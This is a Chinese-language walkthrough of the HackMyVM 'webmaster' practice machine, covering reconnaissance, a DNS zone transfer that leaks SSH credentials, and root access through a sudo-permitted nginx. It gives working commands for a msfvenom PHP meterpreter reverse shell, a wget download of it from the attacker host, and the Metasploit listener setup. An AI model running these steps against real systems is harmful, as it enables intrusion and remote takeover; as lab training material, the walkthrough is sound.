当前位置:网站首页>HackMyvm靶机系列(1)-webmaster
HackMyvm靶机系列(1)-webmaster
2022-07-06 09:22:00 【月应知我意】
一、信息收集
首先先使用nmap扫描网段,探测存活主机,由于这是校园网主机比较多就不一一找了,使用grep直接找到目标主机。
nmap -sP 192.168.200.0/24 | grep -i -B 2 virtualbox
对目标主机进行端口扫描,探测目标开放的服务
nmap -sT -T4 -sV -O -A -sC -p- 192.168.200.8
扫描到三个服务,ssh,dns,http
访问一下,发现是一张图片,大致意思就是你把密码保存在哪里?Bitwarden和Keepass百度一下是一种密码管理工具。记住下面那个TXT,是个重要提示。
使用dirsearch扫描一下目录。
dirsearch -u http://192.168.200.8 -e php,html,txt,7z,zip,gz,db,bz2,bak -x 404,301,500-599 -t 30
然而并没有发现什么有用信息。
上面图片提示到txt,于是尝试一下使用wfuzz爆破一下txt文件
wfuzz -c --sc=200,302 -w /tools/dict/directory-list-2.3-medium.txt http://192.168.200.8/FUZZ.txt
和使用dirsearch一样,一条有用的消息都没有发现
然后查看一下页面源代码,发现一个webmaster.hmv,看上去像是一个域名。于是把它放到host文件中解析,然而并没有什么用。
二、漏洞利用
想到刚才用nmap扫描到有开放dns服务,尝试一下用dig解析一下dns记录
dig axfr @192.168.200.8 webmaster.hmv
#@IP地址 指定DNS服务器
发现这个东西十分可疑,看上去像是一个账号和密码
john:Myhiddenpazzword
尝试登录ssh,登录成功
得到第一个flag
三、权限提升
接下来就是提权操作了
sudo -l
发现nginx可以以任何用户启动,并且不需要输入密码。
通过查看进程,发现nginx是以root权限启动的。
然后查看网页根目录,发现根目录任何人都拥有删除和写入文件的权限,再加上nginx是以root权限启动的,我们可以通过写入shell,再访问这个shell获得权限。
先查看一下主机信息,是86位的
使用msf生成木马
msfvenom -p php/meterpreter_reverse_tcp lhost=192.168.200.130 lport=5555 -f raw -o shell.php
然后目标机上使用wget将木马下载下来
wget http://192.168.200.130:7890/shell.php
赋予执行权限
chmod +x shell.php
在msf上启动监听
use exploit/multi/handler
set payload php/meterpreter_reverse_tcp
set lhost 192.168.200.130
set lport 5555
kali访问木马文件,由于nginx是root权限运行的,所访问shell.php文件时得到的是root权限
msf收到会话,权限为root
拿到最后一个flag
边栏推荐
- 这次,彻底搞清楚MySQL索引
- [hand tearing code] single case mode and producer / consumer mode
- Implementation principle of automatic capacity expansion mechanism of ArrayList
- Custom RPC project - frequently asked questions and explanations (Registration Center)
- Miscellaneous talk on May 27
- Miscellaneous talk on May 14
- 附加简化版示例数据库到SqlServer数据库实例中
- 【VMware异常问题】问题分析&解决办法
- Meituan dynamic thread pool practice ideas, open source
- Using spacedesk to realize any device in the LAN as a computer expansion screen
猜你喜欢
Reinforcement learning series (I): basic principles and concepts
自定义RPC项目——常见问题及详解(注册中心)
C language Getting Started Guide
[au cours de l'entrevue] - Comment expliquer le mécanisme de transmission fiable de TCP
【VMware异常问题】问题分析&解决办法
Matlab opens M file garbled solution
附加简化版示例数据库到SqlServer数据库实例中
FAQs and answers to the imitation Niuke technology blog project (II)
Canvas foundation 1 - draw a straight line (easy to understand)
. Net6: develop modern 3D industrial software based on WPF (2)
随机推荐
[insert, modify and delete data in the headsong educator data table]
7-3 构造散列表(PTA程序设计)
[hand tearing code] single case mode and producer / consumer mode
自定义RPC项目——常见问题及详解(注册中心)
Write a program to simulate the traffic lights in real life.
UGUI—Text
渗透测试学习与实战阶段分析
The difference between abstract classes and interfaces
【MySQL-表结构与完整性约束的修改(ALTER)】
C language Getting Started Guide
. How to upload XMIND files to Jinshan document sharing online editing?
Nuxtjs快速上手(Nuxt2)
Experiment 9 input and output stream (excerpt)
TypeScript快速入门
.Xmind文件如何上传金山文档共享在线编辑?
5月14日杂谈
强化學習基礎記錄
[the Nine Yang Manual] 2019 Fudan University Applied Statistics real problem + analysis
SRC mining ideas and methods
7-8 7104 约瑟夫问题(PTA程序设计)